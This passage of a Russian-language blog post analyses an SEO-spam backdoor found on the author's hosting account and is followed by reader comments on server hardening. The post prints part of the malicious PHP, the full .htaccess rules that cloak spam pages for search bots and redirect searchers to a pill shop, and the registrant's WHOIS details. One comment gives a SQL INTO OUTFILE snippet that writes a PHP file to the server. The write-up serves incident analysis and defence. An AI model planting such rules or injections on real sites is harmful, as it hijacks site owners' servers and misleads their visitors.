            if (preg_match_all("/$regexp/siU", $buf, $matches)) {
                $zval = $matches[0];
                shuffle($zval);
                foreach ($zval as $val) {
                    if ($c < 0)
                        break;
                    list($l, $anchor) = explode("|||", trim($links[$c]));
                    $new = '<a href="' . $l . '">' . $anchor . '</a>';
                    $buf = str_ireplace($val, $new, $buf);
                    $c--;
                }
            }
        }
        echo $buf;
    }
}

И вкратце что тут происходит. Во первых, тут есть проверка пароля (как ни странно, вроде и бэкдор уже есть без какого либо пароля а тут). Первый блок нужен чтобы проверить сработал ли бэкдор и чтобы распаковывать файлы. На момент написания статьи, файлы которые скачиваются с сервера злоумышленника были удалены.

Кстати о сервере злоумышленника. Домен зарегистрирован как «f.gghijacktest.com». По Whois удалось узнать что он принадлежит человеку с данными:

Имя: Gabriel Northrup
Адрес: str. Ivana Cupala 1, Ljubljana NE 4111 SI
Телефон: +714022420218
Email: vlasigor3@gmail.com

Может кто знает человека ;)

Вернёмся к коду. Файлы с сервера злоумышленника сохраняются во временном каталоге на сервере, у меня это была папка "~/tmp" и я нашел в ней папку с именем .md5(мой домен), в которой лежали изменённые страницы моего сайта, они нужны только для ботов. Т.е. в поисковике они отображаются как мой сайт, но с непотребным текстом. А вот если на страницы сайта из поисковика заходит пользователь, то им отображался магазин пилюль по адресу f.gghijacktest.com/lp.php, но в адресе браузера, разумеется, показывается мой домен.

Всех остальных, кто попал на сайт не из поисковиков, либо напрямую ждала, обычная страница, где ссылки пытаются заменить на другие, но этого у меня не происходило т.к. я не нашёл у себя соответствующий файл fff.sess.

А теперь разберём .htaccess:

RewriteEngine on
RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

Тут происходит самое главное, перенаправление ботов и людей из поисковиков в выше разобранный скрипт. 2-я и 3-я строки говорят что надо остановиться после первого удачного применения правил. А последующие строки собственно и определяют правила для ботов и поисковиков и перенаправляют их на bootlegger-limiter.php.

Что касается двух остальных скриптов enthusiasms-raw.php и equaling-intangibles.php, то они абсолютно одинаковые и предназначены, судя по функции mail, для рассылки спама.

Заключение


Вот таким нехитрым образом злоумышленник может воспользоваться вашим сервером и вы, возможно, как и я даже не заметите этого. Стоит отметить, что на этом сервере у меня не хранится ничего важного и поэтому в него я заглядываю очень редко. Но даже если бы и заглядывал почаще, то ничего не подозревая, может и не заметил бы пару лишних файлов.

В комментариях можете рассказать о ваших способах борьбы с подобными атаками, думаю многим это будет интересно.

Надеюсь, мой опыт окажется полезным, и вы в очередной раз проверите свои сервера на наличие таких вот простых бэкдоров. Спасибо за внимание.
Взламывали ли ваши сервера?

Проголосовало 569 человек. Воздержалось 316 человек.

Вы проверили ваши сервера после прочтения?

Проголосовало 550 человек. Воздержалось 314 человек.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Поделиться с друзьями
-->

Комментарии (89)


  1. OtshelnikFm
    24.10.2016 11:21

    .htaccess закрывать 444 правами… ну зачем… да?


    1. A3a
      24.10.2016 11:26
      +1

      Если взломали сервер, это не поможет.


      1. OtshelnikFm
        24.10.2016 11:32

        файлы можно загрузить и не имея доступа к серверу.
        К автору статьи — (он так и не выяснил причины взлома) — так какие права на файл .htaccess были?


        1. A3a
          24.10.2016 11:38

          404, как ни странно. Но я еще раз повторю, права на файл можно менять.


          1. OtshelnikFm
            24.10.2016 11:42
            +1

            Тогда ок. Просто этот аспект вы упустили в описании выявления взлома.

            У вас не был подключен яндекс вебмастер? Он присылает письма если сайт заражен


            1. A3a
              24.10.2016 11:46

              Был подключен только Google Analytics, который письмо не прислал. Search Console по идее тоже должен уведомлять.


          1. Moon_darker
            24.10.2016 15:56

            А владелец файла? Если использовали дыру где-нибудь в CMS/веб сервере, а владельцем .htaccess был бы какой-нибудь root, то такого бы не произошло


      1. PaulAtreides
        24.10.2016 12:45
        +1

        Смотря что взломали. 99.9% всех взломов — это взлом CMS тупым ботом без какого либо дальнейшего повышения привилегий. Если www-data (или от кого там выполняются скрипты) при этом может писать в ограниченное количество каталогов, из которых запрещено исполнение скриптов, дальнейшей эскалации взлома не происходит.


  1. antonksa
    24.10.2016 11:33
    -33

    А потом меня еще спрашивают, за что я на люблю PHP…


    1. Gray_Wolf
      24.10.2016 11:49
      +17

      При наличии возможности заливать файлы на сервер язык программирования уже не имеет значения.


      1. alQlagin
        24.10.2016 11:55
        -13

        в связке, например, nginx + nodejs такой взлом вряд ли удастся. а если еще все разнести в docker контейнеры, то все интереснее становится. для взломщика, конечно.


        я не говорю что невозможно, но гораздо сложнее взломать простой заливкой файлов. на шаред хостинге так кончено не настроишься


        1. remzalp
          25.10.2016 07:12
          -1

          Ну как вариант можно подсунуть MySQL маааленькую инъекцию с нагрузкой вида:
          SELECT a INTO OUTFILE "/..../cracker.php"
          FROM (SELECT "<?php echo 'Hello World!';")
          Да, нужны FILE привилегии, но периодически юзер создаётся с ALL PRIVILEGES WITH GRANT OPTION, а тут уже медицина бессильна.


    1. Wedmer
      24.10.2016 11:50
      +4

      А при чем тут PHP? Взломали то не через него, как пишет автор.


      1. A3a
        24.10.2016 11:52

        Это маловероятно, но не исключено. Т.к. заметил поздно, логов никаких не сохранилось. Но Yii взламывать, как написал в статье, не зная структуру сайта сложно.


    1. Dimd13
      24.10.2016 13:09
      +1

      Дыра, она на любом языке — дыра.


      1. antonksa
        24.10.2016 17:36
        -19

        Да ладно :D пэпэха — сам по себя одна сквозная дыра. Как на нем люди пишут — он же корежит мышление, я не могу представить чтобы мне подложили исполняемый файл в папку и происходило вышеописанное, как у автора.

        Меня китайские боты заколебали уже, в логах 404 одни login.php, admin.php, phpmyadmin.php, administrator.php, хочутебявзломать.php

        А у меня все на Django — китайский_облом.php :D

        А по теме поста — гигиена прежде всего — длинные пароли, свои VDSки, логин только с ключами.
        Забрутфорсили его, ага, 2016 на улице, боты терабитные атаки устраивают, а он с 5.2 версией и «я вообще редко на сервер заглядываю»…


        1. TimsTims
          25.10.2016 11:46
          -2

          Держите нас в курсе


  1. f0rk
    24.10.2016 12:01
    -4

    Любляна, Ивана Цупала? Серьезно? :)


  1. xtala
    24.10.2016 12:04
    -3

    >и меня виагра
    Автор вы русский? Какие ваши доказательства?


  1. HunterNNm
    24.10.2016 12:04

    Какая версия php на сервере?


    1. A3a
      24.10.2016 12:06
      -1

      5.3


      1. HunterNNm
        24.10.2016 14:21

        2016 год, 5,3… Хоть последняя версия 5,3 или нет? И да, Вы же знаете что она не поддерживается уже?


        1. merlin-vrn
          24.10.2016 14:31
          +14

          Что такого, собственно? И 5.2 бывает. Если не хотят платить за переписывание под новый PHP, что предлагаете? А платить не хотят правильно: работало пять лет — с чего бы оно вдруг должно было перестать работать и потребовало денег? Обновления? Мне не нужны ваши обновления, мне нужно, чтобы сайт работал, тот самый, за который я уже давно расплатился.

          Затрахали с этим «не поддерживается уже». Да, не поддерживается, но используется. И Windows XP, бывает, используется, если нужный софт больше ни под чем не запускается. Вариантов-то нет.


          1. PaulAtreides
            24.10.2016 15:38
            +1

            Затрахали с этим «не поддерживается уже»

            Писателям и пользователям малвари нравится ход ваших мыслей. :)


          1. ValdikSS
            24.10.2016 15:53
            +2

            Затрахали с этим «не поддерживается уже». Да, не поддерживается, но используется. И Windows XP, бывает, используется, если нужный софт больше ни под чем не запускается. Вариантов-то нет.
            Я Windows 98 иногда использую, но это же не повод пропагандировать ее использование.


            1. A3a
              24.10.2016 16:56
              +2

              конечно не повод. Но иногда другого выбора нет, если например провайдер не обнавляет свой софт, а менять провайдера не рентабельно


          1. HunterNNm
            26.10.2016 12:58
            -2

            Не хотят платить — так зачем кричать про то, что взломали? Старые версии php — кладезь уязвимостей.

            Затрахали уже с этим «работает — не трогай». И потом жаловаться что взломали. Если тебе это надо и надо чтобы работало — нужно готовиться платить за постоянную поддержку.


            1. A3a
              26.10.2016 13:14

              Простите, о каких уязвимостях идёт речь? То, что они есть никто не отрицает, но взломать сервер через сам php скорее невозможно. Среди открытых уязвимостей я не нашёл ни одну предоставляющую какой либо доступ для записи. Я уже неоднократно повторял, что если взлом был через приложение, то скорее ломились через неоткрытую уязвимость Yii, а не через сам php.


              1. HunterNNm
                26.10.2016 13:26

                Почему взята именно 5.3.24? До этой версии есть несколько уязвимостей, которые позволяют выполнить рандомный код и получить доступ к серверу


                1. A3a
                  26.10.2016 13:35

                  Эту версию предоставляет хостинг провайдер. И провайдер довольно крупный, если бы были значимые угрозы безопасности, то думаю они сразу же бы отказались от неё. Что ещё интересно, альтернатива для php у них только версия 5.4, а 7-й нет.


              1. disakov
                26.10.2016 18:41

                0-day для ломания хостинга? Маловероятно. Обычно такое можно увидеть, когда профит получили те, кто дыру нашел и бросил инфу в паблик. CVE к этому времени уже есть обычно.


        1. foxmuldercp
          25.10.2016 00:57
          +1

          У меня на машине с плеском и на 5.2 недавно обновления прилетали. и плеск 11.5, не последний. Так что ой


    1. PaulAtreides
      24.10.2016 12:50

      Интереснее версия Yii


      1. A3a
        24.10.2016 13:00

        1.1.12


        1. PaulAtreides
          24.10.2016 13:14

          Интересно. Сходу CVE для неё не нашел.
          А вы просто удалили левые файлы и ждёте их нового появления?


          1. A3a
            24.10.2016 13:19

            Если взлом был через Yii, то было бы интересно узнать как злоумышленник записал файлы в корень. Поэтому я написал, что этот сценарий маловероятен.

            А вы просто удалили левые файлы и ждёте их нового появления?
            Именно :)


            1. ValdikSS
              24.10.2016 15:52
              +1

              Можете купить выделенный сервер или виртуалку, и установить и настроить sysdig. Так вы узнаете, что конкретно делал злоумышленник.


  1. mwambanatanga
    24.10.2016 12:04
    +6

    > Вы проверили ваши сервера после прочтения?

    Когда??? Я едва дочитал текст и сразу наткнулся на опрос. Дайте хоть пару минут :-)


    1. tamimasados
      24.10.2016 16:48
      +1

      я в процессе чтения проверил через web-sniffer, Search Console и гугл)))


  1. acmnu
    24.10.2016 12:44
    +6

    Я предпочитаю полностью запрещать запись в директории (кроме тех, что действительно нужны движку на запись) и полностью запрещаю htaccess файлы, перенося всю конфигурацию в конфиг файлы apache, доступные только руту. Кроме того пользователь под которым работает apache должен быть максимально бесправным, а все core расширения запрещены, кроме списка действительно нужного (в 2.4 с этим стало гораздо удобнее управляться).

    Если есть возможность использовать selinux, то можно отрубить возможности apache по самостоятельным открытиям сокетов и запускам других приложений. Но это уже на любителя да и тяжеловато. Ну и чрутирование/контейнеризация, если возможно.


    1. menelion_elensule
      24.10.2016 14:28

      Запретить htaccess — неплохое решение, думаю, но для шаред-хостингов не прокатит, к сожалению. Что бы вы могли посоветовать в этом случае?


      1. mickvav
        24.10.2016 15:16

        А почему, собственно, не прокатит? Что мешает иметь один кусок кода, который имеет права на запись в .htaccess-ы, проверяет, всё что можно и делает это аккуратно. Работает при этом от отдельного пользователя и запускается через sudo и/или доступен через локальный сокет?


        1. PaulAtreides
          24.10.2016 15:26
          +1

          Потому, что это шаред хостинг. Там обычно один пользователь.


        1. acmnu
          24.10.2016 17:00

          Тут мы опять получаем проблему с тем, что если в где-то в движке есть уязвимость, то он может написать свои .htaccess в те директории к которым есть доступ, а это уже путь к уязвимости описаной в посте.

          К сожаленю нельзя ограничить .htaccess в другом .htaccess. Т.е. нельзя на шаред хостинге создать структуру в которой все .htaccess либо лежат в реадолни, либо не читаются апачем. Такое навернуть можно только если есть доступ к конфигу. И с этой точки зрения я очень позитивно смотрю на фреймворки, которые хранят временные и пользовательские файлы в базе данных. Такие движки и контейнизировать легко.


      1. PaulAtreides
        24.10.2016 15:24

        Зависит от того, как устроен шаред-хостинг. Если скрипты выполняются от пользователя апача, а файлы принадлежат вам (и апач входит в вашу группу), то можно у группы отнять w и x на .htaccess.

        Если скрипты выполняются от вас, тут, конечно, ничего не запретишь. Только контролировать чексуммы.


    1. sashabeep
      24.10.2016 14:56
      +1

      При описанных вами экзерсисах отвалится половина современных CMS


      1. mickvav
        24.10.2016 15:19

        Дык отвалилось — пошли по функционалу, разрешили писать куда она не может не писать, остальное оставили закрытым. Заодно — изучили хоть как-то CMS и её привычки. Или вы предпочитаете ставить софт бесконтрольно — а, фиг с ним, пусть что хочет, то и делает?


        1. sashabeep
          24.10.2016 15:22

          А я и не говорю, что это неправильный подход. Просто я более, чем уверен, что сами писатели CMS о таких вещах не очень задумываются


          1. mickvav
            24.10.2016 15:27

            Это вот да. Прямо хоть антирейтинг CMS-ок заводи.


      1. PaulAtreides
        24.10.2016 15:29

        Самые распространённые не отвалятся. Сломается часть функций по администрированию через админку CMS, а для всего остального можно добиться, что на запись будут доступны только те каталоги, из которых запрещён запуск скриптов.


        1. sashabeep
          25.10.2016 10:37

          При обилии плагинов и низком пороге вхождения в популярных CMS есть куча плагинов, которые не используют, например, API, а лазят по системный файлам и папкам и по-другому не работают. Хостеры тоже порой развлекаются — у нас какой-то адский антивирус на хостинге есть, который, например, банил всю площадку при попытке загрузки картинок через базовый интерфейс CMS


      1. acmnu
        24.10.2016 17:33

        Это только вершина айсберга. Скорее проблема в том, что нужно реально понимать что ты делаешь. Но с другой стороны админов держат не за бороду и свитер, а за другие заслуги.

        Если коротко, то лучший путь работы со стронней CMS это, во-первых, разобраться в движке хотябы с точки зрения админа (куда пишет, откуда берет конфиги, как обновляется, как конектится к другим сервисам), и, во-вторых, построить CI для нужного софта, хотя бы на уровне дайджеста коммитов, который можно глазами посмотреть.


    1. ValdikSS
      24.10.2016 15:55

      Если есть возможность использовать selinux, то можно отрубить возможности apache по самостоятельным открытиям сокетов и запускам других приложений. Но это уже на любителя да и тяжеловато. Ну и чрутирование/контейнеризация, если возможно.
      Гораздо проще настроить разделение прав через неймспейсы, через тот же systemd, например: Изолируем демоны с systemd или «вам не нужен Docker для этого!». Но у автора, вроде, хостинг, а не собственный сервер.


      1. PaulAtreides
        24.10.2016 20:13

        Это заработает, когда будет докер-стайл продукт, который всё то же самое будет делать одной кнопкой. А ещё лучше, когда мэйнтейнеры демонов научатся это делать из коробки, как научились понижать привилегии.


        1. ValdikSS
          24.10.2016 21:02

          Предполагаю, это зависит от мейнтейнеров дистрибутива. В Fedora, например, на многие демоны написаны ограничивающие правила systemd, как и SELinux. Debian и Ubuntu на этом поприще в отстающих, но в 9 Debian, скорее всего, будет доступен grsecurity.


  1. Pavelblog
    24.10.2016 12:47

    Можно защитится так:
    1. В .htaccess установить запрет на вызов всех исполняемых файлов (php, py и т.п.), кроме одного index.php
    2. Сделать слепок системы (хеш-суммы всех исполняемых файлов, html, css, js)
    3. В случае обновления модулей обновлять слепок.
    4. Сверять этот слепок раз в сутки по расписанию cron. В случае появления новых файлов или изменения существующих уведомлять вебмастера.


    1. merlin-vrn
      24.10.2016 14:07

      Слепок системы? Это называется IDS :) И есть готовый софт, который именно так и делает. tripwire, например.


      1. Pavelblog
        25.10.2016 10:18

        Готовый софт, наверное, стоит денег и я не уверен что он ставится на любой shared хостинг. Мне не сложно написать 10 строк кода, которые сделают такой слепок.


  1. MxMaks
    24.10.2016 12:47
    +1

    Тема рулила 6-3 года назад. Год назад поисковики начали давить такие сайты в поиске. И уже почти не актуальна.


    1. A3a
      24.10.2016 12:49

      Я и сам так думал, но в статье конкретный пример. В поисковике сайт показывался, только с надписью, что он возможно был взломан.


    1. geirby
      24.10.2016 13:52

      Увы. Есть у нас старый сайт на шаред-хостинге, владельцы не имеют средств переписать его, или хотя бы портировать под новую CMS. Ломают как по часам. Подозреваю, что боты. Проблема решается git checkout, пока не найдутся деньги, но сам факт, что до сих пор такое происходит.


      1. merlin-vrn
        24.10.2016 14:09
        +6

        Деньги и не найдутся, потому, что проблема решается git checkout. Зачем платить, если и так решается?


      1. Nagh42
        24.10.2016 19:07

        А что мешает, если ломают «как по часам», отследить методику взлома и костылём закрыть конкретную дырку? Например, если ломают через админку, с помощью того же .htaccess закрыть админку доп.паролем (basic-auth) и т.п.?


  1. Roman_NMSK
    24.10.2016 12:54
    +1

    В таких случаях еще необходимо логировать POST-запросы. Судя по датам изменения файлов — их скоро вновь попытаются залить — вот из файла логов можно будет узнать через какую дыру в системе.


    1. A3a
      24.10.2016 13:03

      Логирование включено, но срок истечения 30 дней. Поэтому с нетерпением жду когда же это произойдёт снова.


      1. Roman_NMSK
        24.10.2016 14:36

        Почитай про php_value auto_prepend_file в .htaccess
        Если хостер не ограничивал функционал, то сможешь логи у себя сохранять в отдельный файл.


  1. midaw1
    24.10.2016 13:37

    Обновление yii от 2012 года, которое уже даже не на поддержке. Я думаю никакие контейнеры не помогут. Контейнеры и любые прослойки вообще никак не помогут сайту от дыр и скорее наоборот. Максимум немного обезопасят хост машину.


    1. PaulAtreides
      24.10.2016 13:48
      +1

      Хост-машину и соседние сайты.
      А заодно сильно упростят откат к старому бэкапу, например.


  1. altynos
    24.10.2016 14:25

    Применительно не только к этой истории, а вообще:
    Hash&logs.
    1.Регулярная проверка хэшей поможет своевременно обнаружить несанкционированные изменения чувствительных фалов;
    2. Логи дадут информацию о происходящем в момент времени, полученный из первой манипуляции.
    Если есть возможность, логи лучше слать на другой, отдельный сервер.


  1. Bozaro
    24.10.2016 15:37

    Когда у меня мой бложик похакали, я почесал репу и переделал его на Hugo (благо динамический контент на нём не требовался).


    В результате удалось избавиться от CMS, PHP и MySQL. Остался только Linux и nginx.


  1. Myrddin
    24.10.2016 16:37
    +10

    Изначальный заголовок больше заинтриговал ))
    image


    1. lostpassword
      24.10.2016 20:04
      +3

      Да, зря поменяли.))


  1. Kalashmatik
    24.10.2016 17:48

    Раньше часто такие редиректы в .htaccess клиентов находил, в 70% случаев это старые Joomla/Wordpress или их плагины написаные пионерами, но были и тупо брутфорсы ftp-пароля которые юзеры вообще не меняют годами, так что парольчики нужно менять регулярно и обязательно после таких случаев.


  1. megahertz
    24.10.2016 19:52

    Как-то написал простенькую форму загрузки файла для одного единственного случая — надо было чтобы один очень неподготовленный пользователь залил файл. Конечно, никаких проверок не было, скрипт был написан за пару минут. Файл получил, а про скрипт забыл. Вспомнил, только когда на почту посыпались сообщения о неудачной отправке огромного количества писем сомнительного содержания. Благо, сервер домашний, ничего серьезного там не было.


  1. dimmidrol
    25.10.2016 02:07

    вроде бы как всё обсудили, но вот запретить авторизацию ftp доступа для всех, а оставить для своего ip?


  1. volanddd
    25.10.2016 06:20

    А где найденная и закрытая дыра в CMS?
    Завтра будете повторять?

    И еще — всего несколько файлов нашли?
    А где остальные шеллы?
    По опыту лечения (не такого, а закрытием уязвимостей) их не меньше 20-30, а иногда порядка 100 на каждый сайт на CMS


    1. Wedmer
      25.10.2016 08:36
      +1

      Для чукчей, которые писатели.
      Цитата:
      «Я не знаю как именно взломали хостинг, т.к. на нём не висят сайты использующие CMS.»


  1. superyateam
    25.10.2016 11:46

    Я что-то на самом деле так и не понял, как первый файл попал на сервер?


    1. A3a
      25.10.2016 11:48

      Наиболее вероятный вариант: брутфорсом взломали ftp либо ssh.
      Менее вероятный: подкинули через Yii.


      1. dimmidrol
        25.10.2016 13:13

        а как могли подкинуть через yii? Или автор использовал модули для Yii?


        1. A3a
          25.10.2016 13:15

          модули есть, но для доступа к ним требуется авторизация. Поэтому этот вариант развития событий маловероятен.


      1. superyateam
        25.10.2016 20:55

        Остается загадкой, почему имея доступ с паролем злоумышленники ограничились только одним файлом. могли бы сразу уж все поставить, зачем эти бэкдоры…


        1. A3a
          25.10.2016 21:01

          Для меня это тоже не совсем понятно. Можно объяснить это тем, что одни взламывают, а другие заливают файлы. Либо злоумышленники ждут пару дней не заметит ли владелец активности.


  1. akubintsev
    25.10.2016 13:58

    Почитал бегло комменты. Зачем IDS и какие-то нагромождения? Надо просто понять, что есть юзер, под которым выполняется php, допустим www-data. А есть владелец файлов и директорий проекта на сервере. Это не одно и то же.
    Что нужно сделать:
    1) добавить владельца в группу www-data;
    2) выставить права на файлы и каталоги такие, чтобы владелец мог читать и писать, а группа была www-data и могла только читать;
    3) определиться с каталогами, где требуются права записи для php и добавить туда права записи группе www-data.

    Всё. Даже если будет дырка в пхп коде, то записать что-либо злоумышленник не сможет, не зная файловой структуры проекта. Даже если он узнает, куда можно положить свой скрипт и положит, то прав на изменение основных файлов проекта у него не будет, как и доступа к уязвимым файлам системы.


  1. esudnik
    25.10.2016 14:53

    Если у вас Shared-hosting, то очень велика вероятность что взломали именно его. Ради эксперимента интересно было бы проверить другие сайты, которые расположены на этом IP.


    1. A3a
      25.10.2016 15:38

      взлом был совершен давно и поэтому никаких логов не осталось, сейчас жду повтора. Возможно Вы правы и взломали хостинг. Поищу как можно сделать Reverse DNS lookup для shared хостинга и попробую curlом постучаться как гуглбот, может что нибудь и проясниться. Спасибо за идею.


    1. A3a
      25.10.2016 16:55

      Проверил. Из найденных мной 196 сайтов, только 2 оказались зараженными, но это из за того, что оба они на wordpress. Поэтому думаю всё же взлом был по ftp или ssh.


  1. esudnik
    25.10.2016 14:58

    … также нужно проверить лог файлы. Если повезет, то вы найдете какие файлы/функции вызывались при взломе. И тогда можно подробно эти файлы изучить.

    В целом не важно какие дальнейшие уязвимые места с правами доступа,… существуют. Важно узнать каким способом загрузили самый первый скрипт.


  1. Dynamika
    27.10.2016 12:49

    Как то вел блог на wordpress и потянуло меня сменить шаблон — выбрал на одном сайте где было множество шаблонов, скачал и установил естественно бесплатно )) — После этого через 2-3 месяца мой друг заметил, что наши же новости появляются на другом сайте автоматически. В итоге сменили шаблон.